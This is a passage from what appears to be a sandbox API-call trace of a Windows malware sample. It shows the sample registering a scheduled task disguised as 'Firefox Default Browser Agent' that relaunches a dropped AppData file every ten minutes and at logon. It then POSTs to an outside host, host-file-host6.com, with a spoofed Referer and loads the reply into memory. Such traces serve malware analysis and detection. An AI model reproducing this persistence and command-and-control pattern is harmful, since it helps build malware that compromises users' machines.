ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1a16bf4b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa3ef0)) returned 1 [0134.939] SetFileTime (hFile=0x16e4, lpCreationTime=0x1026fe34, lpLastAccessTime=0x1026fe3c, lpLastWriteTime=0x1026fe44) returned 1 [0134.939] CloseHandle (hObject=0x16e4) returned 1 [0134.939] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1860) returned 0x210 [0134.940] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1860) returned 1 [0134.940] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1840) returned 0x16 [0134.940] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1840) returned 1 [0134.940] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x418) returned 0x97b1840 [0134.940] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" [0134.940] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x212) returned 0x97b1c60 [0134.940] GetUserNameW (in: lpBuffer=0x97b1c60, pcbBuffer=0x1026fe70 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1026fe70) returned 1 [0134.945] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x10d) returned 0x97b1e80 [0134.945] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x4c) returned 0x97b1fa0 [0134.946] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x10d) returned 0x97b2000 [0134.946] wsprintfW (in: param_1=0x97b1e80, param_2="Firefox Default Browser Agent %hs" | out: param_1="Firefox Default Browser Agent FE7F15060B875FB9") returned 46 [0134.946] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b2000) returned 0x10d [0134.946] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b2000) returned 1 [0134.946] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1fa0) returned 0x4c [0134.947] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1fa0) returned 1 [0134.947] CoCreateInstance (in: rclsid=0x1e81010*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x1e81000*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1026fd08 | out: ppv=0x1026fd08*=0x3936bf0) returned 0x0 [0135.405] TaskScheduler:ITaskService:Connect (This=0x3936bf0, serverName=0x1026fd80*(varType=0x0, wReserved1=0x97b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e85257, varVal2=0x6107a6), user=0x1026fda0*(varType=0x0, wReserved1=0x97b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e85257, varVal2=0x6107a6), domain=0x1026fd60*(varType=0x0, wReserved1=0x97b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e85257, varVal2=0x6107a6), password=0x1026fde0*(varType=0x0, wReserved1=0x97b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e85257, varVal2=0x6107a6)) returned 0x0 [0135.459] TaskScheduler:ITaskService:GetFolder (in: This=0x3936bf0, Path="", ppFolder=0x1026fd28 | out: ppFolder=0x1026fd28*=0x39b9300) returned 0x0 [0135.461] ITaskFolder:DeleteTask (This=0x39b9300, Name="Firefox Default Browser Agent FE7F15060B875FB9", flags=0) returned 0x80070002 [0135.462] TaskScheduler:ITaskService:NewTask (in: This=0x3936bf0, flags=0x0, ppDefinition=0x1026fe40 | out: ppDefinition=0x1026fe40*=0x3973c30) returned 0x0 [0135.463] ITaskDefinition:get_RegistrationInfo (in: This=0x3973c30, ppRegistrationInfo=0x1026fd40 | out: ppRegistrationInfo=0x1026fd40*=0x39618d0) returned 0x0 [0135.463] IRegistrationInfo:put_Author (This=0x39618d0, Author="RDhJ0CNFevzX") returned 0x0 [0135.463] IUnknown:Release (This=0x39618d0) returned 0x1 [0135.463] ITaskDefinition:get_Settings (in: This=0x3973c30, ppSettings=0x1026fd18 | out: ppSettings=0x1026fd18*=0x3961450) returned 0x0 [0135.463] ITaskSettings:put_StartWhenAvailable (This=0x3961450, StartWhenAvailable=1) returned 0x0 [0135.464] IUnknown:Release (This=0x3961450) returned 0x3 [0135.464] ITaskDefinition:get_Triggers (in: This=0x3973c30, ppTriggers=0x1026fd20 | out: ppTriggers=0x1026fd20*=0x3976240) returned 0x0 [0135.464] ITriggerCollection:Create (in: This=0x3976240, Type=1, ppTrigger=0x1026fe30 | out: ppTrigger=0x1026fe30*=0x3972520) returned 0x0 [0135.464] IUnknown:QueryInterface (in: This=0x3972520, riid=0x1e81030*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x1026fd10 | out: ppvObject=0x1026fd10*=0x3972520) returned 0x0 [0135.464] ITrigger:get_Repetition (in: This=0x3972520, ppRepeat=0x1026fd00 | out: ppRepeat=0x1026fd00*=0x39c4660) returned 0x0 [0135.464] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x14) returned 0x97b1fa0 [0135.464] IRepetitionPattern:put_Interval (This=0x39c4660, Interval="PT10M") returned 0x0 [0135.464] ITrigger:put_Repetition (This=0x3972520, Repetition=0x39c4660) returned 0x0 [0135.464] IUnknown:Release (This=0x39c4660) returned 0x1 [0135.464] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x30) returned 0x97b1fc0 [0135.464] ITrigger:put_StartBoundary (This=0x3972520, StartBoundary="1999-11-30T00:00:00") returned 0x0 [0135.464] IUnknown:Release (This=0x3972520) returned 0x2 [0135.464] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1fc0) returned 0x30 [0135.465] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1fc0) returned 1 [0135.465] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1fa0) returned 0x14 [0135.465] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1fa0) returned 1 [0135.465] IUnknown:Release (This=0x3972520) returned 0x1 [0135.465] ITriggerCollection:Create (in: This=0x3976240, Type=9, ppTrigger=0x1026fe30 | out: ppTrigger=0x1026fe30*=0x39416a0) returned 0x0 [0135.466] IUnknown:QueryInterface (in: This=0x39416a0, riid=0x1e81020*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1026fd00 | out: ppvObject=0x1026fd00*=0x39416a0) returned 0x0 [0135.466] ILogonTrigger:put_UserId (This=0x39416a0, UserId="RDhJ0CNFevzX") returned 0x0 [0135.473] IUnknown:Release (This=0x39416a0) returned 0x2 [0135.473] IUnknown:Release (This=0x39416a0) returned 0x1 [0135.473] ITaskDefinition:get_Actions (in: This=0x3973c30, ppActions=0x1026fd30 | out: ppActions=0x1026fd30*=0x39b9b80) returned 0x0 [0135.473] IActionCollection:Create (in: This=0x39b9b80, Type=0, ppAction=0x1026fd48 | out: ppAction=0x1026fd48*=0x3975a60) returned 0x0 [0135.473] IUnknown:Release (This=0x39b9b80) returned 0x1 [0135.473] IUnknown:QueryInterface (in: This=0x3975a60, riid=0x1e81040*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x1026fd38 | out: ppvObject=0x1026fd38*=0x3975a60) returned 0x0 [0135.473] IExecAction:put_Path (This=0x3975a60, Path="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 0x0 [0135.473] IUnknown:Release (This=0x3975a60) returned 0x2 [0135.474] ITaskFolder:RegisterTaskDefinition (in: This=0x39b9300, Path="Firefox Default Browser Agent FE7F15060B875FB9", pDefinition=0x3973c30, flags=6, UserId=0x1026fd60*(varType=0x0, wReserved1=0x97b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e85257, varVal2=0x6107a6), password=0x1026fda0*(varType=0x0, wReserved1=0x97b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e85257, varVal2=0x6107a6), LogonType=3, sddl=0x1026fd80*(varType=0x0, wReserved1=0x97b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e85257, varVal2=0x6107a6), ppTask=0x1026fd00 | out: ppTask=0x1026fd00*=0x3960e50) returned 0x0 [0136.619] IUnknown:Release (This=0x3975a60) returned 0x1 [0136.619] IUnknown:Release (This=0x3976240) returned 0x1 [0136.619] TaskScheduler:IUnknown:Release (This=0x3973c30) returned 0x0 [0136.619] TaskScheduler:IUnknown:Release (This=0x39b9300) returned 0x0 [0136.619] TaskScheduler:IUnknown:Release (This=0x3936bf0) returned 0x0 [0136.619] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1e80) returned 0x10d [0136.620] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1e80) returned 1 [0136.620] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1840) returned 0x418 [0136.620] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1840) returned 1 [0136.620] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b1c60) returned 0x212 [0136.620] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b1c60) returned 1 [0136.620] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2098 [0136.621] CreateFileMappingA (hFile=0x0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa000, lpName="FE7F15060B875FB9FB2A49F08D5D03120C287F38FF") returned 0xb8c [0136.621] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x24) returned 0x97b1840 [0136.621] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x9e02c710 [0136.621] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x64) returned 0x97b1870 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x374fd590 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x99ee6650 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x41a63b64 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xf9007d9e [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xc8d04cd8 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xd3e97992 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x8ab6b491 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xc2bb31b3 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x6ab91d02 [0136.621] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x71ccf8ce [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x5ae9ec46 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x71367487 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x5cb09cca [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xdd9e2a95 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xdbaa7903 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x37828116 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x48ebb823 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x98918eb1 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x2e3b1686 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xa6f831ac [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x2c44fac6 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x16784ccb [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x9cd91eb1 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x4df2fee8 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x4310bb42 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x8e29485a [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xdbcd453d [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x6e9774a4 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x5d15a1b0 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xcb681f6d [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xd4c7c87f [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x83abf5c0 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x38983a60 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x7ecdb8f4 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xe6e63f00 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x9de027b4 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x4c9f1aee [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x642e5b89 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x51ad5af3 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x69b60633 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xc54fe8da [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xb668d908 [0136.622] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x7d81c436 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x5958c854 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x1621605 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x76fbb011 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x82b8684f [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x572ad535 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xdc50dde7 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x12685988 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xa0ce2533 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x9843e157 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xb3070141 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x6db72d32 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x853b9af4 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xbbe98c3b [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xe0241c0c [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x98b24bd0 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x413306b9 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x691be290 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xf85e619 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xe9eec151 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x8cd2bcf [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x68608e27 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x6d2fcb7a [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x344dcdff [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xb5e83d13 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x82e01afa [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xc4b82fd6 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x37afb07c [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xfb5a38aa [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x8747f881 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xc2f5756e [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x40d2fae3 [0136.623] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x7467b8d4 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xfc890362 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xa84ab572 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xf8a9b820 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x41732292 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xc37308ed [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x377734b2 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x3acd3622 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x5f0c616e [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x9eb7512b [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x22003406 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xce838469 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xecc8173a [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xa0ff201e [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xbdce902a [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x8ecf50f2 [0136.624] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x55572476 [0136.624] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0xb3) returned 0x97b18e0 [0136.624] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0136.624] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0136.624] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0136.624] lstrcatA (in: lpString1="", lpString2="YQ]Ug'NfUcMj;0BE@@'5q\"XIc]>m1Z$C_u[!a\\n\\'muwTdnDnA4Tm1Z$C_u[!a\\n\\'muwTdnDnA4Tm1Z$C_u[!a\\n\\'muwTdnDnA4T&!F0Z.FHslxZPl\"U5oUWgyc`x)gWF>1bfS,vY-=bLBEXGhr<5QIr/k*-=D$z8ob:nDXsiT+Bse'GI7mRc:@W?)WSLVFYRtFV5b8Gzoo;h[_,!*A" | out: lpString1="oypNAHD=WST*LvS&H<4sV:ksA)')=eyy#_GJAjoN2BM0Gn>PVQD1tK.^+n\"0]Yz]I[\"_SQY\\A0KPsKcPyH8#xTO%iYtX!jR\"IN#b9g&N0\"9MAtM0RH!-Cc3dJaq*U$[M>&!F0Z.FHslxZPl\"U5oUWgyc`x)gWF>1bfS,vY-=bLBEXGhr<5QIr/k*-=D$z8ob:nDXsiT+Bse'GI7mRc:@W?)WSLVFYRtFV5b8Gzoo;h[_,!*A") returned="oypNAHD=WST*LvS&H<4sV:ksA)')=eyy#_GJAjoN2BM0Gn>PVQD1tK.^+n\"0]Yz]I[\"_SQY\\A0KPsKcPyH8#xTO%iYtX!jR\"IN#b9g&N0\"9MAtM0RH!-Cc3dJaq*U$[M>&!F0Z.FHslxZPl\"U5oUWgyc`x)gWF>1bfS,vY-=bLBEXGhr<5QIr/k*-=D$z8ob:nDXsiT+Bse'GI7mRc:@W?)WSLVFYRtFV5b8Gzoo;h[_,!*A" [0195.867] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x10c) returned 0x97b60e0 [0195.867] lstrlenA (lpString="http://host-file-host6.com/") returned 27 [0195.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x97b1840, cbMultiByte=28, lpWideCharStr=0x97b60e0, cchWideChar=56 | out: lpWideCharStr="http://host-file-host6.com/") returned 28 [0195.867] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1026fae8 | out: pProxyConfig=0x1026fae8) returned 1 [0195.930] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0xa33bb10 [0195.931] WinHttpCrackUrl (in: pwszUrl="http://host-file-host6.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1026fba0 | out: lpUrlComponents=0x1026fba0) returned 1 [0195.931] WinHttpConnect (hSession=0xa33bb10, pswzServerName="host-file-host6.com", nServerPort=0x50, dwReserved=0x0) returned 0x9fa4fa0 [0195.931] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x12) returned 0x97b6200 [0195.931] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x68) returned 0x97b6220 [0195.931] WinHttpOpenRequest (hConnect=0x9fa4fa0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0xa267b40 [0195.932] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x4e) returned 0x97b6290 [0195.932] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x10d) returned 0x97b62f0 [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xb7759fdc [0195.932] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x12) returned 0x97b6410 [0195.932] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x17) returned 0x97b6430 [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x704a3d59 [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x1292d15c [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xded06c5a [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x479d0c4c [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0xfeb359c2 [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x8c1d572d [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x4cf8d7f7 [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x435635c6 [0195.932] RtlRandom (in: Seed=0x610e9e | out: Seed=0x610e9e) returned 0x63afb7ec [0195.932] wsprintfW (in: param_1=0x97b62f0, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://pdllbgjs.org/") returned 42 [0195.932] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b6430) returned 0x17 [0195.932] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b6430) returned 1 [0195.932] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b6410) returned 0x12 [0195.932] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b6410) returned 1 [0195.932] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b6290) returned 0x4e [0195.933] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b6290) returned 1 [0195.933] WinHttpAddRequestHeaders (hRequest=0xa267b40, pwszHeaders="Accept: */*\r\nReferer: http://pdllbgjs.org/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0195.933] WinHttpSendRequest (hRequest=0xa267b40, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x97b5f90*, dwOptionalLength=0x13f, dwTotalLength=0x13f, dwContext=0x0) returned 1 [0199.963] WinHttpReceiveResponse (hRequest=0xa267b40, lpReserved=0x0) returned 1 [0199.963] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x2800) returned 0x97b6410 [0199.965] WinHttpReadData (in: hRequest=0xa267b40, lpBuffer=0x97b6410, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1026fc58 | out: lpBuffer=0x97b6410*, lpdwNumberOfBytesRead=0x1026fc58*=0x197) returned 1 [0199.965] RtlReAllocateHeap (Heap=0x97b0000, Flags=0x8, Ptr=0x97b6410, Size=0x5000) returned 0x97b6410 [0199.965] WinHttpReadData (in: hRequest=0xa267b40, lpBuffer=0x97b65a7, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1026fc58 | out: lpBuffer=0x97b65a7*, lpdwNumberOfBytesRead=0x1026fc58*=0x0) returned 1 [0199.966] VirtualAlloc (lpAddress=0x0, dwSize=0x197, flAllocationType=0x3000, flProtect=0x4) returned 0x1e50000 [0199.968] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b6410) returned 1 [0199.968] WinHttpCloseHandle (hInternet=0xa267b40) returned 1 [0199.968] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b62f0) returned 0x10d [0199.968] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b62f0) returned 1 [0199.968] WinHttpCloseHandle (hInternet=0x9fa4fa0) returned 1 [0199.968] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b6220) returned 0x68 [0199.969] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b6220) returned 1 [0199.970] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b6200) returned 0x12 [0199.970] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b6200) returned 1 [0199.970] WinHttpCloseHandle (hInternet=0xa33bb10) returned 1 [0199.970] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b60e0) returned 0x10c [0199.971] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b60e0) returned 1 